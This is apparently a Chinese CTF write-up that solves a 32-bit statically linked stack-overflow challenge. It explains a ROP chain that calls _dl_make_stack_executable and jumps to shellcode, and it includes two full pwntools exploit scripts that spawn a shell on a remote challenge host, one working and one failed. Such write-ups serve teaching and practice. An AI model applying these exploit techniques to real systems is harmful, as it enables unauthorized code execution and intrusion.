前言
一道非典型栈溢出题目
分析过程
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp-Ch] [ebp-24h]
char v5; // [esp-Ch] [ebp-24h]
int v6; // [esp+Ch] [ebp-Ch] BYREF
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
printf("SSCTF[InPut Data Size]", v4);
_isoc99_scanf("%d", &v6);
temp = malloc(v6);
printf("SSCTF[YourData]", v5);
read(0, temp, v6);
puts("[Ok!]");
print(temp, v6);
return 0;
}
流程很简单, 一次输入
这里有个栈溢出漏洞, 将任意长的字符串拷贝到v3, v3是定长58, 又没开canary, 所以存在溢出
int __cdecl print(int a1, int a2)
{
char v3[58]; // [esp+Eh] [ebp-3Ah] BYREF
memcpy(v3, a1, a2);
return puts(v3);
}
漏洞利用
开了NX, 没有后门, 静态编译, 所以不能ret2shellcode, ret2text, ret2libc, 几乎所有栈漏洞的打法都走不通, 那就只能用高级打法, 类似mprotect的利用方法, 修改栈可执行, 写入shellcode, 然后ret2shellcode
因为是静态编译的, 所以可用函数不少
找到一个有用的函数, 可以修改栈可执行, 那么利用栈溢出到这里, 修改之后再返回到shellcode的位置
不过为了调用这个函数, 需要满足ecx == libc_stack_end
, 也就是[eax] == libc_stack_end
, 上面有一个mov ecx, [eax]
如果向eax写入libc_stack_end的地址0x080EAFC8
, 那么就可以绕过检测
找找eax的gadget
不过直接调用pop_eax设置eax然后返回到函数_dl_make_stack_executable
的payload打不通, 这里借鉴已有的题解思路来打, 从_dl_make_stack_executable_hook
调用, 设置_dl_make_stack_executable_hook
的值加1, 即与原来的值不等, 这样_dl_make_stack_executable
函数执行完之后返回就到ROP链继续执行, 所以需要一个gadget在ecx控制_dl_make_stack_executable_hook
, 然后一个gadget使ecx加1
这里还有个点注意, 就是写入eax应该是__libc_stack_end
的地址-0x18的结果, 这样+0x18之后正好是__libc_stack_end
的地址, [eax]就是正好取__libc_stack_end的值
而这个__libc_stack_end
的地址是在0x080A0B05
地址处
这样所有的信息就收集齐了, 可以写exp
from pwn import *
from LibcSearcher import *
url, port = "111.200.241.244", 56914
filename = "./pwn"
elf = ELF(filename)
# libc = ELF("")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")
debug = 0
if debug:
context.log_level="debug"
io = process(filename)
context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def BK():
gdb.attach(io)
pause()
def pwn():
jmp_esp_addr = 0x080de2bb
pop_ecx_addr = 0x080df1b9
call_make_stack_executable_addr = 0x0809A260
_dl_make_stack_executable_hook_addr = elf.sym['_dl_make_stack_executable_hook']
inc_dword_ecx_addr = 0x080845f8
libc_stack_end_addr = 0x080A0B05
payload = cyclic(0x3A) + p32(libc_stack_end_addr - 0x18) + p32(pop_ecx_addr)
payload += p32(_dl_make_stack_executable_hook_addr) + p32(inc_dword_ecx_addr)
payload += p32(call_make_stack_executable_addr) + p32(jmp_esp_addr) + asm(shellcraft.sh())
# payload = payload.ljust(0x100, b"\x00")
io.sendlineafter('SSCTF[InPut Data Size]',str(0x100))
io.sendlineafter("SSCTF[YourData]", payload)
# BK()
sleep(0.1)
io.interactive()
if __name__ == "__main__":
pwn()
总结
卡点
(1) 想用pop_eax直接调用函数, 但是打不通
from pwn import *
from LibcSearcher import *
url, port = "11.200.241.244", 56914
filename = "./pwn"
elf = ELF(filename)
# libc = ELF("")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")
debug = 1
if debug:
context.log_level="debug"
io = process(filename)
context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def BK():
gdb.attach(io)
pause()
def pwn():
jmp_esp_addr = 0x080de2bb
pop_eax_addr = 0x080b89e6
libc_stack_end_addr = 0x080EAFC8
_dl_make_stack_executable_addr = elf.sym['_dl_make_stack_executable']
payload = cyclic(0x3A + 4) + p32(pop_eax_addr) + p32(libc_stack_end_addr)
payload += p32(_dl_make_stack_executable_addr) + p32(jmp_esp_addr) + asm(shellcraft.sh())
# payload = payload.ljust(0x100, b"\x00")
io.sendlineafter('SSCTF[InPut Data Size]',str(0x100))
io.sendlineafter("SSCTF[YourData]", payload)
# BK()
sleep(0.1)
io.interactive()
if __name__ == "__main__":
pwn()
之后只能用大佬的方法打通了
不过也因为不能调试, 所以找不到bug在哪
(2) 注意是inc [ecx], ret
, 不是inc ecx, ret
, 控制的是ecx中的地址的值, 不是ecx本身的值
以后遇到静态编译的题, 可以把函数表看一遍, 兴许能找到可以利用的函数